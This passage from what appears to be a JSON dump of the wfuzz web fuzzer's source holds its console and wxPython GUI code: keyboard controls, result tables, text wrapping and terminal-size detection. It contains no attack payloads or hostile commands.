    "content": "import sys\nfrom collections import defaultdict\nimport threading\n\ntry:\n    from itertools import zip_longest\nexcept ImportError:\n    from itertools import izip_longest as zip_longest\n\nfrom wfuzz.fuzzobjects import FuzzWordType, FuzzType, FuzzPlugin\n\nfrom .common import exec_banner, Term\nfrom .getch import _Getch\nfrom .output import getTerminalSize, wrap_always_list\n\nusage = \"\"\"\\r\\n\nInteractive keyboard commands:\\r\\n\n?: Show this help\n\np: Pause\ns: Show stats\nq: Cancel\n\"\"\"\n\n\nclass SimpleEventDispatcher:\n    def __init__(self):\n        self.publisher = defaultdict(list)\n\n    def create_event(self, msg):\n        self.publisher[msg] = []\n\n    def subscribe(self, func, msg, dynamic=False):\n        if msg not in self.publisher and not dynamic:\n            raise KeyError(\"subscribe. No such event: %s\" % (msg))\n        else:\n            self.publisher[msg].append(func)\n\n    def notify(self, msg, **event):\n        if msg not in self.publisher:\n            raise KeyError(\"notify. Event not subscribed: %s\" % (msg,))\n        else:\n            for functor in self.publisher[msg]:\n                functor(**event)\n\n\nclass KeyPress(threading.Thread):\n    def __init__(self):\n        threading.Thread.__init__(self)\n        self.inkey = _Getch()\n        self.setName(\"KeyPress\")\n\n        self.dispatcher = SimpleEventDispatcher()\n        self.dispatcher.create_event(\"?\")\n        self.dispatcher.create_event(\"p\")\n        self.dispatcher.create_event(\"s\")\n        self.dispatcher.create_event(\"q\")\n\n        self.do_job = True\n\n    def cancel_job(self):\n        self.do_job = False\n\n    def run(self):\n        while self.do_job:\n            k = self.inkey()\n            if k and ord(k) == 3:\n                self.dispatcher.notify(\"q\", key=\"q\")\n            elif k == \"p\":\n                self.dispatcher.notify(\"p\", key=\"p\")\n            elif k == \"s\":\n                self.dispatcher.notify(\"s\", key=\"s\")\n            elif k == \"?\":\n                self.dispatcher.notify(\"?\", key=\"?\")\n            elif k == \"q\":\n                self.dispatcher.notify(\"q\", key=\"q\")\n\n\nclass Controller:\n    def __init__(self, fuzzer, view):\n        self._debug = False\n        self.fuzzer = fuzzer\n        self.view = view\n        self.__paused = False\n        self.stats = fuzzer.options.get(\"compiled_stats\")\n\n        self.view.dispatcher.subscribe(self.on_help, \"?\")\n        self.view.dispatcher.subscribe(self.on_pause, \"p\")\n        self.view.dispatcher.subscribe(self.on_stats, \"s\")\n        self.view.dispatcher.subscribe(self.on_exit, \"q\")\n\n    # dynamic keyboard bindings\n    def on_exit(self, **event):\n        self.fuzzer.cancel_job()\n        self.view.cancel_job()\n        self.fuzzer.options.close()\n\n    def on_help(self, **event):\n        print(usage)\n\n    def on_pause(self, **event):\n        self.__paused = not self.__paused\n        if self.__paused:\n            self.fuzzer.pause_job()\n        else:\n            self.fuzzer.resume_job()\n\n    def on_stats(self, **event):\n        if self._debug:\n            self.show_debug_stats()\n        else:\n            self.show_stats()\n\n    def show_debug_stats(self):\n        print(\"\\n=============== Paused ==================\")\n        stats = self.fuzzer.stats()\n        for k, v in list(stats.items()):\n            print(\"%s: %s\" % (k, v))\n        print(\"\\n=========================================\")\n\n    def show_stats(self):\n        pending = self.stats.total_req - self.stats.processed()\n        summary = self.stats\n        summary.mark_end()\n        print(\"\\nTotal requests: %s\\r\" % str(summary.total_req))\n        print(\"Pending requests: %s\\r\" % str(pending))\n\n        if summary.backfeed() > 0:\n            print(\n                \"Processed Requests: %s (%d + %d)\\r\"\n                % (\n                    str(summary.processed())[:8],\n                    (summary.processed() - summary.backfeed()),\n                    summary.backfeed(),\n                )\n            )\n        else:\n            print(\"Processed Requests: %s\\r\" % (str(summary.processed())[:8]))\n        print(\"Filtered Requests: %s\\r\" % (str(summary.filtered())[:8]))\n        req_sec = (\n            summary.processed() / summary.totaltime if summary.totaltime > 0 else 0\n        )\n        print(\"Total time: %s\\r\" % str(summary.totaltime)[:8])\n        if req_sec > 0:\n            print(\"Requests/sec.: %s\\r\" % str(req_sec)[:8])\n            eta = pending / req_sec\n            if eta > 60:\n                print(\"ET left min.: %s\\r\\n\" % str(eta / 60)[:8])\n            else:\n                print(\"ET left sec.: %s\\r\\n\" % str(eta)[:8])\n\n\nclass View:\n    widths = [10, 8, 6, 8, 9, getTerminalSize()[0] - 65]\n    verbose_widths = [10, 10, 8, 8, 6, 9, 30, 30, getTerminalSize()[0] - 145]\n\n    def __init__(self, session_options):\n        self.colour = session_options[\"colour\"]\n        self.verbose = session_options[\"verbose\"]\n        self.previous = session_options[\"previous\"]\n        self.term = Term()\n        self.printed_lines = 0\n\n    def _print_verbose(self, res, print_nres=True):\n        txt_colour = (\n            Term.noColour if not res.is_baseline or not self.colour else Term.fgCyan\n        )\n        if self.previous and self.colour and not print_nres:\n            txt_colour = Term.fgCyan\n\n        location = \"\"\n        if \"Location\" in res.history.headers.response:\n            location = res.history.headers.response[\"Location\"]\n        elif res.history.url != res.history.redirect_url:\n            location = \"(*) %s\" % res.history.url\n\n        server = \"\"\n        if \"Server\" in res.history.headers.response:\n            server = res.history.headers.response[\"Server\"]\n\n        rows = [\n            (\"%09d:\" % res.nres if print_nres else \" |_\", txt_colour),\n            (\"%.3fs\" % res.timer, txt_colour),\n            (\n                \"%s\" % \"XXX\" if res.exception else str(res.code),\n                self.term.get_colour(res.code) if self.colour else txt_colour,\n            ),\n            (\"%d L\" % res.lines, txt_colour),\n            (\"%d W\" % res.words, txt_colour),\n            (\"%d Ch\" % res.chars, txt_colour),\n            (server, txt_colour),\n            (location, txt_colour),\n            ('\"%s\"' % res.description, txt_colour),\n        ]\n\n        self.term.set_colour(txt_colour)\n        self.printed_lines = self._print_line(rows, self.verbose_widths)\n\n    def _print_header(self, rows, maxWidths):\n        print(\"=\" * (3 * len(maxWidths) + sum(maxWidths[:-1]) + 10))\n        self._print_line(rows, maxWidths)\n        print(\"=\" * (3 * len(maxWidths) + sum(maxWidths[:-1]) + 10))\n        print(\"\")\n\n    def _print_line(self, rows, maxWidths):\n        def wrap_row(rows, maxWidths):\n            newRows = [\n                wrap_always_list(item[0], width) for item, width in zip(rows, maxWidths)\n            ]\n            return [[substr or \"\" for substr in item] for item in zip_longest(*newRows)]\n\n        def print_row(row, rows):\n            sys.stdout.write(\n                \"   \".join(\n                    [\n                        colour + str.ljust(str(item), width) + Term.reset\n                        for (item, width, colour) in zip(\n                            row, maxWidths, [colour[1] for colour in rows]\n                        )\n                    ]\n                )\n            )\n\n        new_rows = wrap_row(rows, maxWidths)\n\n        for row in new_rows:\n            print_row(row, rows)\n            sys.stdout.write(\"\\n\\r\")\n\n        sys.stdout.flush()\n        return len(new_rows)\n\n    def _print(self, res, print_nres=True):\n        txt_colour = (\n            Term.noColour if not res.is_baseline or not self.colour else Term.fgCyan\n        )\n        if self.previous and self.colour and not print_nres:\n            txt_colour = Term.fgCyan\n\n        rows = [\n            (\"%09d:\" % res.nres if print_nres else \" |_\", txt_colour),\n            (\n                \"%s\" % \"XXX\" if res.exception else str(res.code),\n                self.term.get_colour(res.code) if self.colour else txt_colour,\n            ),\n            (\"%d L\" % res.lines, txt_colour),\n            (\"%d W\" % res.words, txt_colour),\n            (\"%d Ch\" % res.chars, txt_colour),\n            ('\"%s\"' % res.description, txt_colour),\n        ]\n\n        self.term.set_colour(txt_colour)\n        self.printed_lines = self._print_line(rows, self.widths)\n\n    def header(self, summary):\n        print(exec_banner)\n        if summary:\n            print(\"Target: %s\\r\" % summary.url)\n            if summary.total_req > 0:\n                print(\"Total requests: %d\\r\\n\" % summary.total_req)\n            else:\n                print(\"Total requests: <<unknown>>\\r\\n\")\n\n        if self.verbose:\n            rows = [\n                (\"ID\", Term.noColour),\n                (\"C.Time\", Term.noColour),\n                (\"Response\", Term.noColour),\n                (\"Lines\", Term.noColour),\n                (\"Word\", Term.noColour),\n                (\"Chars\", Term.noColour),\n                (\"Server\", Term.noColour),\n                (\"Redirect\", Term.noColour),\n                (\"Payload\", Term.noColour),\n            ]\n\n            widths = self.verbose_widths\n        else:\n            rows = [\n                (\"ID\", Term.noColour),\n                (\"Response\", Term.noColour),\n                (\"Lines\", Term.noColour),\n                (\"Word\", Term.noColour),\n                (\"Chars\", Term.noColour),\n                (\"Payload\", Term.noColour),\n            ]\n\n            widths = self.widths\n\n        self._print_header(rows, widths)\n\n    def result(self, res):\n        if self.verbose:\n            self._print_verbose(res)\n        else:\n            self._print(res)\n\n        if not res.discarded:\n            if (\n                self.previous\n                and res.payload_man\n                and res.payload_man.get_payload_type(1) == FuzzWordType.FUZZRES\n            ):\n                prev_res = res.payload_man.get_payload_content(1)\n                if self.verbose:\n                    self._print_verbose(prev_res, print_nres=False)\n                else:\n                    self._print(prev_res, print_nres=False)\n\n            if res.plugins_res:\n                for plugin_res in res.plugins_res:\n                    if not plugin_res.is_visible(self.verbose):\n                        continue\n\n                    sys.stdout.write(\n                        \" |_  {} {}\\r\".format(\n                            plugin_res.issue, plugin_res.data if plugin_res.data else \"\"\n                        )\n                    )\n                    sys.stdout.write(\" |_  %s\\r\" % plugin_res.issue)\n                    sys.stdout.write(\"\\n\\r\")\n\n            self.printed_lines = 0\n\n        if self.printed_lines > 0:\n            self.term.erase_lines(self.printed_lines + 1)\n\n    def footer(self, summary):\n        sys.stdout.write(\"\\n\\r\")\n\n        print(summary)\n"
  },
  {
    "path": "src/wfuzz/ui/console/output.py",
    "content": "# python 2 and 3\nfrom __future__ import print_function\n\nimport math\nimport string\nimport operator\nfrom functools import reduce\n\n# Python 2 and 3: zip_longest\nfrom six import StringIO\n\ntry:\n    from itertools import zip_longest\nexcept ImportError:\n    from itertools import izip_longest as zip_longest\n\n\ndef indent(\n    rows,\n    hasHeader=False,\n    headerChar=\"-\",\n    delim=\" | \",\n    justify=\"left\",\n    separateRows=False,\n    prefix=\"\",\n    postfix=\"\",\n    wrapfunc=lambda x: x,\n):\n    \"\"\"\n    @author http://code.activestate.com/recipes/267662-table-indentation/\n\n    Indents a table by column.\n    - rows: A sequence of sequences of items, one sequence per row.\n    - hasHeader: True if the first row consists of the columns' names.\n    - headerChar: Character to be used for the row separator line\n        (if hasHeader==True or separateRows==True).\n    - delim: The column delimiter.\n    - justify: Determines how are data justified in their column.\n        Valid values are 'left','right' and 'center'.\n    - separateRows: True if rows are to be separated by a line\n        of 'headerChar's.\n    - prefix: A string prepended to each printed row.\n    - postfix: A string appended to each printed row.\n    - wrapfunc: A function f(text) for wrapping text; each element in\n        the table is first wrapped by this function.\"\"\"\n    # closure for breaking logical rows to physical, using wrapfunc\n    def rowWrapper(row):\n        newRows = [wrapfunc(item).split(\"\\n\") for item in row]\n        return [[substr or \"\" for substr in item] for item in zip_longest(*newRows)]\n\n    # break each logical row into one or more physical ones\n    logicalRows = [rowWrapper(row) for row in rows]\n    # columns of physical rows\n    columns = zip_longest(*reduce(operator.add, logicalRows))\n    # get the maximum of each column by the string length of its items\n    maxWidths = [max([len(str(item)) for item in column]) for column in columns]\n    rowSeparator = headerChar * (\n        len(prefix) + len(postfix) + sum(maxWidths) + len(delim) * (len(maxWidths) - 1)\n    )\n    # select the appropriate justify method\n    justify = {\"center\": str.center, \"right\": str.rjust, \"left\": str.ljust}[\n        justify.lower()\n    ]\n    output = StringIO()\n    if separateRows:\n        print(rowSeparator, file=output)\n    for physicalRows in logicalRows:\n        for row in physicalRows:\n            print(\n                prefix\n                + delim.join(\n                    [justify(str(item), width) for (item, width) in zip(row, maxWidths)]\n                )\n                + postfix,\n                file=output,\n            )\n        if separateRows or hasHeader:\n            print(rowSeparator, file=output)\n            hasHeader = False\n    return output.getvalue()\n\n\ndef wrap_always(text, width):\n    \"\"\"A simple word-wrap function that wraps text on exactly width characters.\n    It doesn't split the text in words.\"\"\"\n    return \"\\n\".join(\n        [\n            text[width * i : width * (i + 1)]\n            for i in range(int(math.ceil(1.0 * len(text) / width)))\n        ]\n    )\n\n\ndef wrap_always_list(alltext, width):\n    text_list = []\n    for text in alltext.splitlines():\n        for subtext in [\n            text[width * i : width * (i + 1)]\n            for i in range(int(math.ceil(1.0 * len(text) / width)))\n        ]:\n            text_list.append(\n                \"\".join([char if char in string.printable else \".\" for char in subtext])\n            )\n    return text_list\n\n\ndef table_print(rows, width=80):\n    print(\n        indent(\n            rows,\n            hasHeader=True,\n            separateRows=False,\n            prefix=\"  \",\n            postfix=\"  \",\n            wrapfunc=lambda x: wrap_always(x, width),\n        )\n    )\n\n\ndef getTerminalSize():\n    # http://stackoverflow.com/questions/566746/how-to-get-console-window-width-in-python\n    import platform\n\n    current_os = platform.system()\n    tuple_xy = None\n    if current_os == \"Windows\":\n        tuple_xy = _getTerminalSize_windows()\n        if tuple_xy is None:\n            tuple_xy = _getTerminalSize_tput()\n    # needed for window's python in cygwin's xterm!\n    if (\n        current_os == \"Linux\"\n        or current_os == \"Darwin\"\n        or current_os.startswith(\"CYGWIN\")\n    ):\n        tuple_xy = _getTerminalSize_linux()\n    if tuple_xy is None:\n        print(\"default\")\n        tuple_xy = (80, 25)  # default value\n\n    return tuple_xy\n\n\ndef _getTerminalSize_windows():\n    res = None\n    try:\n        from ctypes import windll, create_string_buffer\n\n        # stdin handle is -10\n        # stdout handle is -11\n        # stderr handle is -12\n\n        h = windll.kernel32.GetStdHandle(-12)\n        csbi = create_string_buffer(22)\n        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)\n    except Exception:\n        return None\n    if res:\n        import struct\n\n        (\n            bufx,\n            bufy,\n            curx,\n            cury,\n            wattr,\n            left,\n            top,\n            right,\n            bottom,\n            maxx,\n            maxy,\n        ) = struct.unpack(\"hhhhHhhhhhh\", csbi.raw)\n        sizex = right - left + 1\n        sizey = bottom - top + 1\n        return sizex, sizey\n    else:\n        return None\n\n\ndef _getTerminalSize_tput():\n    # get terminal width\n    # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window\n    try:\n        import subprocess\n\n        proc = subprocess.Popen(\n            [\"tput\", \"cols\"], stdin=subprocess.PIPE, stdout=subprocess.PIPE\n        )\n        output = proc.communicate(input=None)\n        cols = int(output[0])\n        proc = subprocess.Popen(\n            [\"tput\", \"lines\"], stdin=subprocess.PIPE, stdout=subprocess.PIPE\n        )\n        output = proc.communicate(input=None)\n        rows = int(output[0])\n        return (cols, rows)\n    except Exception:\n        return None\n\n\ndef _getTerminalSize_linux():\n    import fcntl\n    import termios\n    import struct\n    import os\n\n    def ioctl_GWINSZ(fd):\n        try:\n            cr = struct.unpack(\"hh\", fcntl.ioctl(fd, termios.TIOCGWINSZ, \"1234\"))\n        except Exception:\n            return None\n        return cr\n\n    cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)\n    if not cr:\n        try:\n            fd = os.open(os.ctermid(), os.O_RDONLY)\n            cr = ioctl_GWINSZ(fd)\n            os.close(fd)\n        except Exception:\n            pass\n    if not cr:\n        try:\n            cr = (os.environ.get(\"LINES\"), os.environ.get(\"COLUMNS\"))\n        except Exception:\n            return None\n    if not cr[0]:\n        return None\n    return int(cr[1]), int(cr[0])\n"
  },
  {
    "path": "src/wfuzz/ui/gui/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/ui/gui/controller.py",
    "content": "import wx\n\nfrom .ui.console.clparser import CLParser\nfrom .ui.gui.model import GUIModel\nfrom .facade import Facade\n\nif \"2.8\" in wx.version():\n    import wx.lib.pubsub.setupkwargs\n    from wx.lib.pubsub import pub\nelse:\n    from wx.lib.pubsub import pub\n\n\nclass WfuzzInterpreter:\n    def __init__(self, model):\n        self.model = model\n\n    def onecmd(self, cmd):\n        if cmd[0] == \"wfuzz\":\n            self.do_wfuzz(cmd)\n        elif cmd[0] == \"clear\":\n            self.model.Clear()\n        elif cmd[0] == \"wfilter\":\n            self.do_wfilter(cmd)\n        elif cmd[0] == \"newtab\":\n            self.do_tab(cmd)\n        elif cmd[0] == \"del\":\n            self.do_delete(cmd)\n\n    def do_wfilter(self, cmd):\n        from wfuzz.core import dictionary\n\n        try:\n            session_options = CLParser(cmd).parse_cl()\n        except SystemExit:\n            print(\"\\n\")\n            pass\n        except Exception:\n            pass\n        else:\n            for res in dictionary.from_options(session_options):\n                r = res[0]\n                if \"FuzzResult\" in str(r.__class__):\n                    r._fields = r.url\n\n                self.model.AddRow(r)\n\n    def do_wfuzz(self, cmd):\n        try:\n            session_options = CLParser(cmd).parse_cl().compile()\n        except SystemExit:\n            print(\"\\n\")\n            pass\n        except Exception:\n            pass\n        else:\n            for res in session_options.fuzz():\n                self.model.AddRow(res)\n\n    def do_delete(self, cmd):\n        self.model.DeleteRows_by_filter(cmd[1])\n\n    def do_tab(self, cmd):\n        data = Facade().data[cmd[1]] = []\n        model = GUIModel(data)\n        pub.sendMessage(\n            \"create_tab\", name=cmd[1], model=model, interp=WfuzzInterpreter(model)\n        )\n\n\nclass GUIController:\n    def __init__(self, view):\n        Facade().mode = \"gui\"\n        self.data = Facade().data = {\"main\": []}\n        self._model = GUIModel(self.data[\"main\"])\n\n        self._view = view\n        self._interp = WfuzzInterpreter(self._model)\n\n        # init gui\n        self.start_gui()\n\n        pub.subscribe(self.on_exit, \"exit\")\n\n    def start_gui(self):\n        self._view.start_gui(self)\n\n    def on_exit(self, msg):\n        print(\"oooo\")\n"
  },
  {
    "path": "src/wfuzz/ui/gui/guicontrols.py",
    "content": "import wx\nimport wx.py\nimport wx.grid\nimport wx.aui\nimport wx.html\n\nimport wx.lib.agw.aui as aui\nimport wx.dataview as dv\nimport wx.html2 as webview\n\nif \"2.8\" in wx.version():\n    import wx.lib.pubsub.setupkwargs\n    from wx.lib.pubsub import pub\nelse:\n    from wx.lib.pubsub import pub\n\ntry:\n    from agw import pycollapsiblepane as PCP\nexcept ImportError:  # if it's not there locally, try the wxPython lib.\n    import wx.lib.agw.pycollapsiblepane as PCP\n\n# puedo no hacer paneles y devolverlos directamente como hace el treectrl, no se cual es la ventaja really\n\n# ----------------------------------------------------------------------\n# http://stackoverflow.com/questions/22265868/how-to-create-a-cmd-with-wxpython\n# esto puede hacer q meta cmd.cmd directamente https://www.blog.pythonlibrary.org/2009/01/01/wxpython-redirecting-stdout-stderr/\n\n\nclass RedirectText(object):\n    def __init__(self, aWxTextCtrl):\n        self.out = aWxTextCtrl\n\n    def write(self, string):\n        self.out.WriteText(string)\n\n\nclass ConsolePanel(wx.Panel):\n    def __init__(self, parent, interpreter):\n        # begin wxGlade: MyFrame.__init__\n        wx.Panel.__init__(self, parent, -1)\n\n        self.history = []\n        self.index = 0\n\n        self.prompt = \">>\"\n        self.textctrl = wx.TextCtrl(\n            self,\n            -1,\n            \"\",\n            style=wx.TE_PROCESS_ENTER | wx.TE_MULTILINE | wx.TE_RICH,\n            size=(-1, 250),\n        )\n        self.textctrl.SetForegroundColour(wx.WHITE)\n        self.textctrl.SetBackgroundColour(wx.BLACK)\n\n        self.textctrl.AppendText(self.prompt)\n\n        self.textctrl.Bind(wx.EVT_CHAR, self.__bind_events)\n\n        sizer = wx.BoxSizer()\n        sizer.Add(self.textctrl, 1, wx.EXPAND)\n        self.SetSizer(sizer)\n\n        self._interp = interpreter\n        redir = RedirectText(self.textctrl)\n\n        import sys\n\n        # Create a replacement for stdin.\n        # self.reader = PseudoFileIn(self.readline, self.readlines)\n        # self.reader.input = ''\n        # self.reader.isreading = False\n\n        # sys.stdin=self.reader\n        sys.stdout = redir\n        sys.stderr = redir\n\n    def __bind_events(self, e):\n        if e.GetKeyCode() == 13:\n            self.index = len(self.history) - 1\n\n            self.value = self.textctrl.GetValue()\n            ln = self.get_last_line()\n\n            ln = ln.strip()\n            if ln not in self.history:\n                self.history.append(ln)\n            self.index += 1\n            if ln:\n                import shlex\n\n                cmd = shlex.split(ln)\n                # out en retvalue\n                retvalue = self._interp.onecmd(cmd)\n                if retvalue:\n                    self.textctrl.WriteText(\"\\n\")\n                    self.textctrl.AppendText(retvalue)\n\n            self.textctrl.WriteText(\"\\n\")\n            self.textctrl.WriteText(self.prompt)\n        # down\n        elif e.GetKeyCode() == 317:\n            self.index += 1\n\n            if self.index >= len(self.history):\n                self.index = len(self.history) - 1\n\n            self.textctrl.WriteText(\"\\n\")\n            self.textctrl.WriteText(self.prompt)\n            self.textctrl.WriteText(self.history[self.index])\n\n        # up\n        elif e.GetKeyCode() == 315:\n            self.index -= 1\n\n            if self.index < 0:\n                self.index = 0\n\n            self.textctrl.WriteText(\"\\n\")\n            self.textctrl.WriteText(self.prompt)\n            self.textctrl.WriteText(self.history[self.index])\n        else:\n            e.Skip()\n\n    def get_last_line(self):\n        nl = self.textctrl.GetNumberOfLines()\n        ln = self.textctrl.GetLineText(nl - 1)\n        ln = ln[len(self.prompt) :]\n\n        return ln\n\n\n# ----------------------------------------------------------------------\n\n\nclass ListPanel(wx.Panel):\n    def __init__(self, parent, log, model, interpreter):\n        self.log = log\n        self._interp = interpreter\n        wx.Panel.__init__(self, parent, -1)\n\n        self.dvc = dv.DataViewCtrl(\n            self, style=wx.BORDER_THEME | dv.DV_ROW_LINES | dv.DV_VERT_RULES\n        )\n\n        self.model = model\n        self.dvc.AssociateModel(self.model)\n\n        for row in list(self.model.row_mapper.values()):\n            self.dvc.AppendTextColumn(row.title, row.colid, width=row.width)\n\n        for c in self.dvc.Columns:\n            c.Sortable = True\n            c.Reorderable = True\n\n        self.cp = cp = PCP.PyCollapsiblePane(\n            self, label=\"Show console\", agwStyle=wx.CP_GTK_EXPANDER\n        )\n        self.MakePaneContent(cp.GetPane())\n\n        self.Sizer = wx.BoxSizer(wx.VERTICAL)\n        self.Sizer.Add(self.dvc, 1, wx.EXPAND)\n        self.Sizer.Add(cp, 0, wx.RIGHT | wx.LEFT | wx.EXPAND)\n        self.SetSizer(self.Sizer)\n        self.SetAutoLayout(True)\n\n        self.dvc.Bind(dv.EVT_DATAVIEW_SELECTION_CHANGED, self.OnItemSelected)\n\n    def OnItemSelected(self, event):\n        try:\n            items = self.dvc.GetSelections()\n            item = self.model.GetRow(items[0])\n        except IndexError:\n            pass\n        else:\n            pub.sendMessage(\"selected_row\", row=self.model.data[item])\n\n        event.Skip()\n\n    def MakePaneContent(self, pane):\n        border = wx.BoxSizer()\n        border.Add(ConsolePanel(pane, self._interp), wx.RIGHT | wx.LEFT | wx.EXPAND)\n        # border.Add(py.shell.Shell(pane, InterpClass=self._interp, size=(-1,250)),  wx.RIGHT|wx.LEFT|wx.EXPAND)\n\n        pane.SetSizer(border)\n\n\nclass HttpRawPanel(wx.Panel):\n    def __init__(self, parent, frame):\n        self._frame = frame\n        wx.Panel.__init__(self, parent, -1)\n\n        # self.req_txt = wx.TextCtrl(self, -1, \"\", style=wx.TE_MULTILINE|wx.TE_READONLY)\n        self.req_txt = webview.WebView.New(self)\n        # self.resp_txt = webview.WebView.New(self)\n        self.resp_txt = wx.TextCtrl(\n            self, -1, \"\", style=wx.TE_MULTILINE | wx.TE_READONLY\n        )\n\n        sizer = wx.BoxSizer(wx.HORIZONTAL)\n\n        sizer.Add(self.req_txt, 1, wx.EXPAND)\n        sizer.Add(self.resp_txt, 1, wx.EXPAND)\n\n        self.SetSizer(sizer)\n        self.SetAutoLayout(True)\n\n    def CreateHTMLCtrl(self):\n        ctrl = wx.html.HtmlWindow(self, -1, wx.DefaultPosition, wx.Size(400, 300))\n        if \"gtk2\" in wx.PlatformInfo or \"gtk3\" in wx.PlatformInfo:\n            ctrl.SetStandardFonts()\n\n        ctrl.SetPage(\"\")\n\n        return ctrl\n\n\nclass MainNotebookPanel(wx.Panel):\n    def __init__(self, parent, frame, interpreter):\n        self._frame = frame\n        wx.Panel.__init__(self, parent, -1)\n\n        bookStyle = aui.AUI_NB_DEFAULT_STYLE\n        bookStyle &= ~(aui.AUI_NB_CLOSE_ON_ACTIVE_TAB)\n\n        self.rawpanel = HttpRawPanel(self, self)\n        self.renderpanel = self.create_web_view()\n\n        self.nb = aui.AuiNotebook(self, style=bookStyle)\n        self.nb.AddPage(self.rawpanel, \"HTML Raw\")\n        self.nb.AddPage(self.renderpanel, \"HTML Render\")\n\n        sizer = wx.BoxSizer()\n        sizer.Add(self.nb, 1, wx.EXPAND)\n        self.SetSizer(sizer)\n        wx.CallAfter(self.nb.SendSizeEvent)\n\n        pub.subscribe(self.on_selected_row, \"selected_row\")\n\n    def create_web_view(self):\n        return webview.WebView.New(self)\n\n    def on_selected_row(self, row):\n        from pygments import highlight\n        from pygments.lexers import get_lexer_by_name\n        from pygments.formatters import HtmlFormatter\n\n        result = highlight(\n            str(row.history), get_lexer_by_name(\"http\"), HtmlFormatter(full=True)\n        )\n        # result2 = highlight(str(row.history.raw_content), get_lexer_by_name(\"http\"), HtmlFormatter(full=True))\n\n        self.renderpanel.SetPage(row.history.content, row.url)\n        # self.rawpanel.req_txt.SetValue(str(row.history))\n        self.rawpanel.req_txt.SetPage(result, \"\")\n        # self.rawpanel.resp_txt.SetPage(result2, \"\")\n        self.rawpanel.resp_txt.SetValue(str(row.history.raw_content))\n\n\n# ----------------------------------------------------------------------\n\n\nID_About = wx.NewId()\n\n\nclass WfuzzFrame(wx.Frame):\n    def __init__(\n        self,\n        parent,\n        id=-1,\n        title=\"Wfuzz\",\n        pos=wx.DefaultPosition,\n        size=wx.DefaultSize,\n        style=wx.DEFAULT_FRAME_STYLE | wx.SUNKEN_BORDER | wx.CLIP_CHILDREN,\n    ):\n        wx.Frame.__init__(self, parent, id, title, pos, size, style)\n\n    def start_gui(self, controller):\n        self.controller = controller\n        # tell FrameManager to manage this frame\n        self._mgr = wx.aui.AuiManager()\n        self._mgr.SetManagedWindow(self)\n\n        # create menu\n        mb = wx.MenuBar()\n\n        file_menu = wx.Menu()\n        file_menu.Append(wx.ID_EXIT, \"Exit\")\n\n        help_menu = wx.Menu()\n        help_menu.Append(ID_About, \"About...\")\n\n        mb.Append(file_menu, \"File\")\n        mb.Append(help_menu, \"Help\")\n\n        self.SetMenuBar(mb)\n\n        self.SetMinSize(wx.Size(400, 300))\n\n        # create some center panes\n        self._mgr.AddPane(\n            MainNotebookPanel(self, self, controller._interp),\n            wx.aui.AuiPaneInfo()\n            .Caption(\"Raw HTTP Content\")\n            .Name(\"analysis_notebook\")\n            .CenterPane(),\n        )\n        self._mgr.AddPane(\n            self.CreateNotebook(),\n            wx.aui.AuiPaneInfo().Name(\"main_notebook\").CenterPane(),\n        )\n        self._mgr.Update()\n\n        self.Bind(wx.EVT_CLOSE, self.OnClose)\n        self.Bind(wx.EVT_MENU, self.OnExit, id=wx.ID_EXIT)\n        self.Bind(wx.EVT_MENU, self.OnAbout, id=ID_About)\n\n        pub.subscribe(self.OnAddTab, \"create_tab\")\n\n    def OnClose(self, event):\n        pub.sendMessage(\"exit\", msg=\"exiting...\")\n        self._mgr.UnInit()\n        del self._mgr\n        self.Destroy()\n\n    def OnExit(self, event):\n        pub.sendMessage(\"exit\", msg=\"exiting...\")\n        self.Close()\n\n    def OnAbout(self, event):\n        msg = \"WFuzz GUI\\n(c) Copyright 2017, Xavi Mendez\"\n        dlg = wx.MessageDialog(self, msg, \"About\", wx.OK | wx.ICON_INFORMATION)\n        dlg.ShowModal()\n        dlg.Destroy()\n\n    def CreateNotebook(self):\n        bookStyle = aui.AUI_NB_DEFAULT_STYLE\n        # bookStyle &= ~(aui.AUI_NB_CLOSE_ON_ACTIVE_TAB)\n\n        bookStyle = (\n            aui.AUI_NB_DEFAULT_STYLE | aui.AUI_NB_TAB_EXTERNAL_MOVE | wx.NO_BORDER\n        )\n\n        client_size = self.GetClientSize()\n        nb = aui.AuiNotebook(\n            self,\n            -1,\n            wx.Point(client_size.x, client_size.y),\n            wx.Size(430, 200),\n            agwStyle=bookStyle,\n        )\n\n        nb.AddPage(\n            ListPanel(self, self, self.controller._model, self.controller._interp),\n            \"Main\",\n        )\n\n        return nb\n\n    def OnAddTab(self, name, model, interp):\n        auibook = self._mgr.GetPane(\"main_notebook\").window\n\n        auibook.AddPage(ListPanel(self, self, model, interp), name, True)\n\n        self._mgr.Update()\n"
  },
  {
    "path": "src/wfuzz/ui/gui/model.py",
    "content": "from collections import namedtuple\nimport wx.dataview as dv\n\nfrom wfuzz.filters.ppfilter import FuzzResFilter\n\nRow = namedtuple(\"Row\", \"title colid width rtype field\")\n\n\nclass GUIModel(dv.PyDataViewIndexListModel):\n    def __init__(self, data=None):\n        self.data = data if data is not None else []\n        dv.PyDataViewIndexListModel.__init__(self, len(self.data))\n\n        self.row_mapper = {\n            0: Row(title=\"ID\", colid=0, width=100, rtype=\"int\", field=\"nres\"),\n            1: Row(title=\"Response\", colid=1, width=100, rtype=\"int\", field=\"code\"),\n            2: Row(title=\"Lines\", colid=2, width=170, rtype=\"int\", field=\"lines\"),\n            3: Row(title=\"Words\", colid=3, width=170, rtype=\"int\", field=\"words\"),\n            4: Row(title=\"Chars\", colid=4, width=170, rtype=\"int\", field=\"chars\"),\n            5: Row(\n                title=\"Payload\", colid=5, width=170, rtype=\"string\", field=\"description\"\n            ),\n        }\n\n    def GetColumnType(self, col):\n        return self.row_mapper[col].rtype\n\n    def GetValueByRow(self, row, col):\n        try:\n            return self.data[row].get_field(self.row_mapper[col].field)\n        except IndexError:\n            return \"\"\n\n    def GetColumnCount(self):\n        return len(self.row_mapper)\n\n    def GetCount(self):\n        return len(self.data)\n\n    # Called to check if non-standard attributes should be used in the\n    # cell at (row, col)\n    def GetAttrByRow(self, row, col, attr):\n        # #self.log.write('GetAttrByRow: (%d, %d)' % (row, col))\n        # if col == 3:\n        #     attr.SetColour('blue')\n        #     attr.SetBold(True)\n        #     return True\n        return False\n\n    def Compare(self, item1, item2, col, ascending):\n        if not ascending:  # swap sort order?\n            item2, item1 = item1, item2\n        row1 = self.GetRow(item1)\n        row2 = self.GetRow(item2)\n\n        value1 = self.GetValueByRow(row1, col)\n        value2 = self.GetValueByRow(row2, col)\n        if self.row_mapper[col].rtype == 